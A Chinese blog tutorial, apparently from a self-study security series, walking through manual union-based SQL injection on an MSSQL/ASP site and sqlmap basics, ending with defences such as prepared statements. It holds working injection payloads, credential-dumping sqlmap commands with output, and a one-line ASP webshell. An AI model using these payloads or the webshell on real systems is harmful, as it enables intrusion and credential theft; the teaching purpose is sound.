[网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

当您阅读到该篇文章时,作者已经将“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文带领大家Oracle数据库注入一.手工SQL注入

  • 二.SQLMAP基础用法
  • 三.防御措施
  • 四.总结
  • 作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    提高篇:(自学系列100篇目录放在文章末尾)


    一.手工SQL注入

    SQL注入是比较常见的网络攻击方式之一,它是针对程序员编写代码时的疏忽,对用户输入数据的合法性没有判断或过滤不严,攻击者通过构造不同的SQL语句来实现对数据库的任意操作,包括无账号登录、查询删除数据、篡改数据库,甚至如果数据库的用户权限足够大,还可以对操作系统执行操作。

    SQL注入可以分为平台层注入和代码层注入,前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。这篇文章主要结合案例,分享手工SQL注入和SQLMAP的基本用法,希望对您有所帮助,同时推荐Justin Clarke的《SQL注入攻击与防御》书籍。

    下面通过一个简单的例子从数据库原理知识解读SQL注入攻防原理,内容比较简单。假设存在一个网址能正常显示内容,其数据库是MSSQL,网站为ASP。

    • http://xxxxx/show.asp?code=115

    对应的后台SQL语句可能如下:

    • select … from table where code=‘115’ and xxxx;

    第一步,数据库如何判断注入点
    判断注入点的方法很多,比如show.asp?code=115’ 加单引号,show.asp?code=115-1 减1,这里介绍一个经典的方法。

    • http://xxxxx/show.asp?code=115’ and 1=1 - - (正常显示)
      对应的SQL语句:
      select … from table where code=‘115’ and 1=1 - - and xxxx;
      其中,单引号(’)匹配code='115,然后and连接,1=1恒成立,SQL注释(- -)掉后面语句。

    • http://xxxxx/show.asp?code=115’ and 1=2 - - (错误显示)
      对应的SQL语句:
      select … from table where code=‘115’ and 1=2 - - and xxxx;
      单引号(’)匹配code='115,然后and连接,1=2恒错误,注释(–)掉后面语句。

    PS:注释(- -)中间加了个空格,否则markdown会显示一条横线。


    第二步,数据库如何判断字段总数 order by
    基本方法如下:

    • http://xxxxx/show.asp?code=115’ order by 1 - - (正常显示)
      对应的SQL语句:
      select … from table where code=‘115’ order by 1 – and xxxx;
      按照1个字段进行排序,正常显示表示该URL对应的SQL语句至少一个字段。

    • http://xxxxx/show.asp?code=115’ order by 10 - - (正常显示)
      对应的SQL语句:
      select … from table where code=‘115’ order by 10 - - and xxxx;
      依次按照字段增加往上进行排序,直至order by 11提示错误,此时表示共10个字段。

    • http://xxxxx/show.asp?code=115’ order by 11 - - (错误显示)


    第三步,数据库获取显示位,通过union实现
    在得到字段个数后,需要获取字段位置,则使用union或union all。其中union表示将两个select结果整体显示,并合并相同的结果,union all显示全部结果。例如:

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    具体方法如下:

    • http://xxxxx/show.asp?code=115’ union all select null,…,null - -
      正常显示,共10个null,表示通配符,如果9个null会报错,需对应10个字段。

    • http://xxxxx/show.asp?code=115’ union all select 1,…,null - -
      依次替换成数字,测试哪几个字段有结果,如果报错则替换回null。最终的结果为:
      show.asp?code=115’ union all select 1,null,3,null,null,6,7,8,9,10 - -
      对应的SQL语句为:
      select … from table where code=‘115’ union all select 1,null,3,null,null,6,7,8,9,10 - - xxxx;

    • http://xxxxx/show.asp?code=-1’ union all select 1,…,null - -
      然后将数字115替换成-1,一个不存在的界面,则会显示如下所示结果,可以看到附件显示对应的值7、8、9,再想办法将我们需要的结果在这里显示即可,这些数据都是从后台数据库中查询出来的。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    第四步,数据库显示错误网页及对应数据db_name
    该网站使用的数据库为MSSQL,则一定特定的字段需要知道:

    • host_name():连接数据库服务器的计算机名称

    • @@version:获取数据库版本号

    • db_name():数据库的库名称

    • @@servername:当前数据库计算机的名称=host_name()

    • http://xxxxx/show.asp?code=-1’ union all select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 - -

    输出结果如下所示:

    • 附件1:AYD
    • 附件2:Microsoft SQL Server…
    • 附件3:ahykd_new

    其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。


    第五步,数据库获取表名及列名,Python爬虫引入
    SQL Server自带系统对象表,当前数据库所有字段。

    • sysobjects 表名
    • syscolumns 列名

    其中,name表示对象名(表名),id表示表编号,type表示对象类型,其值为U表示用户表,S表示系统表,C约束,PK主键等。

    sysobjects 和 syscolumns 之间以id互相对应,一个表名在sysobjects得到id后可以在syscolumns找到它的列名。重点知识:

    • 查看所有表名语句
      select name from sysobjects where type=‘U’;
    • 询表table1的所有字段名称
      select name from syscolumns where id=object_id(‘table1’);

    具体渗透方法如下:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,
      (select top 1 name from sysobjects where type=‘U’),10 - -

    此时输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:kc_jxjd

    其中top 1 name用于输出1个字段(相当于MySQL使用limit 1),sysobjects中u为用户表,count(*)可以统计总共87个表。

    PS:问大家一个问题,现在是获取1个表,那么如何获取其他表呢?

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8, (select top 1 name from
      (select top 2 name from sysobjects where type=‘U’ order by desc) a
      order by 1 asc),10 - -

    通过子查询一个升序,一个降序获取第二个值,同理第三个top 3。下面通过Python定义一个Selenium爬虫不断访问top n,获取所有的表名,代码如下。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    注意,Python应用在Web渗透领域是很常见且有效的。分析输出的所有表名,可以发现usr为后台登录表。

    • 后台登录表:usr

    第六步,数据库获取登录表usr字段 id=object_id(‘usr’)
    具体方法如下:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,
      (select top 1 name from syscolmns where id=object_id(‘usr’)),10 - -

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:answer

    其中top 1 name用于输出1个字段,表usr的一个列表。

    • 核心SQL语句获取不同的列名:
      (select top 1 name from (select top 3 name from syscolumns where id=object_id(‘usr’) order by asc) a order by 1 desc)

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:dic_roll

    同理,也可以借助Python获取所有字段,如果字段少,手工即可测试出来,count(*)返回字段个数。最后发现:

    • 用户名字段为usr_name,密码为passwd

    第七步,获取数据库返回用户名和密码
    具体方法如下:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,(select top 1 usr_name from usr),10 - -

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:2016001

    输出用户名2016001,再搜索密码。

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,
      (select passwd from usr where usr_name=‘2016001’),10 - -

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:123456

    输出用户名2016001,密码123456,此时即可登录,通过Python可以获取所有值。


    第八步,登录系统并获取WebShell
    登录后台基本完成,接下来分享SQLMAP基础用法和如何进行SQL防御。

    • <%eval request(“Nana”) %>

    二.SQLMAP基础用法

    SQLMAP是一款非常强大的开源渗透测试工具,用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。由于它是通过Python语言开发完成,需要安装Python环境,下面开始安装SQLMAP,建议大家直接用Kali

    • 方法一:调用Pyhon命令pip install sqlmap安装
    • 方法二:从Github中获取SQLMAP进行安装
      https://github.com/sqlmapproject/sqlmap
    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    漏洞检测
    cd去到Python环境sqlmap文件夹下,运行命令:

    • python sqlmap.py -u “http://…/tztgxx.aspx?code=115”

    运行结果如下图所示,-u表示网址url。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    输出GET的四种注入类型,分别为:boolean-based blind、st[网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解


    接着我们以上面的案例进行基础用法讲解,这样能加深大家对SQL注入的理解。

    第一步,获取所有数据库

    • 参数:–dbs
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --dbs

    运行结果如下图所示,获取9个数据库,其中–dbs参数表示databases。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    第二步,获取当前数据库

    • 参数:–current-db
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --current-db

    运行结果如下图所示,获取9个数据库。其中–current-db参数表示当前数据库,相当于前文MSSQL的db_name()获取数据库字段。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    输出结果:akykd_new
    对应前文:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 - -

    输出结果如下所示:

    • 附件3:ahykd_new

    其中数据库的名称就是ahykd_new,接下来相同的道理获取数据库所有表及列。


    第三步,获取数据库所有用户

    • 参数:–users
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --users

    运行结果如下图所示,获取2个用户库。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    输出结果:两个用户

    • BUILTINAdminstrators
    • sa

    第四步,获取数据库当前用户

    • 参数:–current-user
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --current-user

    运行结果如下图所示,获取当前数据库用户sa。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    第五步,获取数据库所有用户和密码

    • 参数:–passwords
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” --passwords

    运行结果如下图所示,获取数据库用户和密码。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    输出结果:

    database management system users password hashes:
    [ * ] BUILTINAdministrators [1]:
    password hash: NULL
    [ * ] sa [1]:
    password hash: 0x01006e27653a36bbc7907ec45a0060…


    第六步,获取数据库所有表

    • 参数:-D ahykd_new --tables
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new --tables

    运行结果如下图所示,获取数据库ahykd_new的所有表,其中-D表示数据库,–tables表示所有表。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    通过人为猜解,知道登录表为usr。对应前文:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,
      (select top 1 name from sysobjects where type=‘U’),10 –

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:kc_jxjd

    其中top 1 name用于输出1个字段,sysobjects中u为用户表。


    第七步,获取数据库登录表所有字段

    • 参数:-D ahykd_new -T usr --columns
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr --columns

    运行结果如下图所示,获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,–columns表示usr表所有列。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解 [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    是不是感觉到了SQLMAP的强大,其中用户名usr_name、密码passwd。对应前文:

    • http://xxxxx/show.asp?code=-1’ union all
      select 1,null,3,null,null,6,7,8,
      (select top 1 name from syscolmns where id=object_id(‘usr’)),10 –

    输出结果如下所示:

    • 附件1:7
    • 附件2:8
    • 附件3:answer

    其中top 1 name用于输出1个字段,表usr的一个列表。


    第八步,获取数据库登录表用户名和密码

    • 参数:-D ahykd_new -T usr -C “usr_name,password” --dump
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr -C “usr_name,password” --dump

    获取数据库ahykd_new的登录表usr所有字段,其中-D表示数据库,-T表示表,-C表示输出字段(usr_name、passwd),–dump输出所有值。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    如果字段内容太多,可以设置输出个数,如10个用户名和密码。

    • 参数:-D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump
    • 命令:python sqlmap.py -u “http://…/tztgxx.aspx?code=115” -D ahykd_new -T usr -C “usr_name,passwd” --start 1 --stop 10 --dump

    正常的输出结果例如下图所示,再通过md5解密即可。有时也会输出结果为空,报警告“the SQL query provided does not return any output”。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    三.防御措施

    上面通过数据库原理进行了详细的讲解,这种网站基本很少存在了,更多的网页都有相关的屏蔽的。比如:

    • 使用正则表达式过滤,在URL设置不允许非法字符,如单引号、等号、注释–、减号,提示非法参数;在URL设置不允许SQL常见的关键词,如and、select、or、insert等。
    • 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查,比如传递的id=115参数必须为数字才能正常跳转,否则跳转错误。
    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
    • 安装Web防火墙,服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。

    • 采用预编译(PreparedStatement)语句集。由于它内置了处理SQL注入的能力,只能使用它的setXXX方法传值,无论你输入什么,都不会影响该SQL语句的语法结构,执行阶段只是把输入串作为数据处理,从而避免SQL注入问题。下面展示的就是典型采用 SQL语句预编译来防止SQL注入 。同样,PDO解决SQL注入的原理也是基于预编译。

     String sql = "select id, no from user where id=?";  PreparedStatement ps = conn.prepareStatement(sql);  ps.setInt(1, id);  ps.executeQuery(); 
    • 使用Javascript在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包含非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。
    • 设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限,设置连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。
    • 其他方法,包括防止万能密码(admin、‘or’=‘or’、‘or’ ‘1’=‘1’#)和弱口令,防止盲注、堆注入、Cookie注入、宽字节注入等。


    四.总结

    写到这里,网络安全系列第四篇文章就介绍完毕,希望您喜欢,如果文章存在错误或不足之处,还请海涵。真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙,开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上不忘初心,继续加油。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

    欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

    2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

    [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解

    (By:Eastmount 2021-03-26 夜于武汉 http://blog.csdn.net/eastmount/ )


    自学篇(建议直接跳转到正文):